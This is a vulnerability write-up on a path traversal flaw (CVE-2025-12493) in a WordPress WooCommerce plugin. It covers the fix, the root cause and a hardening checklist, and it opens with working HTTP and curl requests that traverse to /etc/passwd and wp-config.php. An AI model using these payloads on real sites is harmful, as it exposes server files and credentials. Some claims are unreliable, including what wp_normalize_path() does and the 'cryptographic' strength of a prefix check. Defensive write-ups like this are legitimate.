The Exploit
An unauthenticated attacker can traverse the filesystem and load arbitrary PHP files by manipulating the style parameter passed to the load_template() function. Below is a working HTTP request against a vulnerable ShopLentor installation:
GET /wp-admin/admin-ajax.php?action=woolentor_product_grid_load_template&style=../../../../etc/passwd%00&layout=grid HTTP/1.1
Host: target.local
User-Agent: Mozilla/5.0
Connection: close
Alternatively, if the AJAX endpoint accepts POST with JSON:
curl -X POST "http://target.local/wp-admin/admin-ajax.php" \
-d "action=woolentor_product_grid_load_template&style=../../wp-config.php&layout=grid" \
-H "Content-Type: application/x-www-form-urlencoded"
When this request reaches a vulnerable instance, the attacker observes the server attempting to include /var/www/html/wp-config.php or any file readable by the web server process. If a PHP file is targeted, its code executes server-side; if a text file is targeted (like /etc/passwd), its contents may leak via error messages or log pollution, or be processed by the template rendering logic.
What the Patch Did
Before:
public function get_template_path( $style, $layout = 'grid' ) {
$specific_template = $style . '.php';
$template_path = WOOLENTOR_ADDONS_PL_PATH . 'templates/product-grid/' . $specific_template;
return apply_filters( 'woolentor_product_grid_template_path', $template_path, $style, $layout );
}
public function load_template( $style, $layout, $products, $settings, $only_items = false ) {
$template_path = $this->get_template_path( $style, $layout );
if ( file_exists( $template_path ) ) {
// Include and execute
}
}
After:
private function get_template_path( string $style ) : string {
$base_dir = wp_normalize_path( WOOLENTOR_ADDONS_PL_PATH . 'templates/product-grid/' );
$candidate = wp_normalize_path( $base_dir . $style . '.php' );
$real_base = wp_normalize_path( realpath( $base_dir ) );
$real_target = wp_normalize_path( realpath( $candidate ) );
if ( ! $real_target || strpos( $real_target, $real_base ) !== 0 || ! is_file( $real_target ) ) {
$fallback = wp_normalize_path( $base_dir . 'modern.php' );
return is_file( $fallback ) ? $fallback : '';
}
return apply_filters( 'woolentor_product_grid_template_path', $real_target, $style );
}
public function load_template( $style, $layout, $products, $settings, $only_items = false ) {
$style = isset( $style ) ? sanitize_key( $style ) : 'modern';
if ( ! in_array( $style, $this->get_allowed_styles(), true ) ) {
$style = 'modern';
}
$template_path = $this->get_template_path( $style );
// ... include logic
}
The patch added three security controls working in sequence: (1) input validation via sanitize_key() and an allowlist check against get_allowed_styles(), ensuring only known template names pass through; (2) path canonicalization using realpath() on both the base directory and the candidate file to resolve symbolic links and relative path traversal sequences (../, ./, etc.) to their absolute forms; (3) boundary enforcement via strpos( $real_target, $real_base ) !== 0, verifying that the resolved target path begins with the resolved base directory, making it impossible to escape the intended template folder even if realpath() succeeds.
Root Cause
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
The style parameter enters the request via wp_ajax_* hook handlers and flows directly into load_template() without sanitization or validation. From there it is concatenated into a filesystem path passed to file_exists() and subsequently include(). An attacker supplies path traversal sequences like ../../wp-config or absolute paths like /etc/passwd, which the original code naively appends to the base directory. Since no check confirms the resulting path stays within templates/product-grid/, the attacker breaches the intended directory boundary and gains the ability to load any file the web server process can read.
Why It Works
The load-bearing line is:
if ( ! $real_target || strpos( $real_target, $real_base ) !== 0 || ! is_file( $real_target ) ) {
Remove the strpos() check and an attacker can still exploit the vulnerability — realpath() alone does not prevent inclusion of arbitrary files outside the intended directory; it only normalizes paths. The strpos() check enforces a strict prefix match: if the attacker passes ../../../../etc/passwd, realpath() resolves it to /etc/passwd, but the prefix check catches that /etc/passwd does not start with /var/www/html/wp-content/plugins/woolentor/templates/product-grid/ and rejects it.
The input validation layer (sanitize_key() + allowlist) is defense-in-depth: it prevents the traversal sequences from reaching realpath() in the first place, but by itself it is insufficient if the allowlist is incomplete or the sanitization is bypassable. The path confinement layer catches escapes that validation misses. Together they form a belt-and-suspenders approach — the engineer understood that validation alone is fragile and added a secondary boundary check that is cryptographically difficult to bypass.
Hardening Checklist
-
Use
sanitize_key()and an allowlist: For any user-supplied value that selects a file or resource from a whitelist, applysanitize_key()(orsanitize_text_field()for richer inputs) and verify membership inin_array( $value, $whitelist, true )with strict type checking. -
Canonicalize paths with
realpath()before filesystem operations: Always callrealpath()on both the base directory and the candidate file, then verify the candidate begins with the base usingstrpos( $candidate, $base ) === 0. Do not rely on path concatenation or string manipulation to enforce directory boundaries. -
Use
wp_normalize_path()before any path comparison: WordPress'wp_normalize_path()handles OS-specific separators and removes.and..in a platform-agnostic way; call it on all paths before comparison or concatenation. -
Avoid user-supplied parameters in
include()orrequire()statements: If dynamic includes are necessary, load a manifest of allowed files at initialization and index them by sanitized key, rather than deriving filenames from request input. -
Apply
is_file()checks after path resolution: Confirm the resolved path exists and is a regular file (not a directory, symlink to a directory, or device) usingis_file(), blocking directory traversal and symlink attacks.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-12493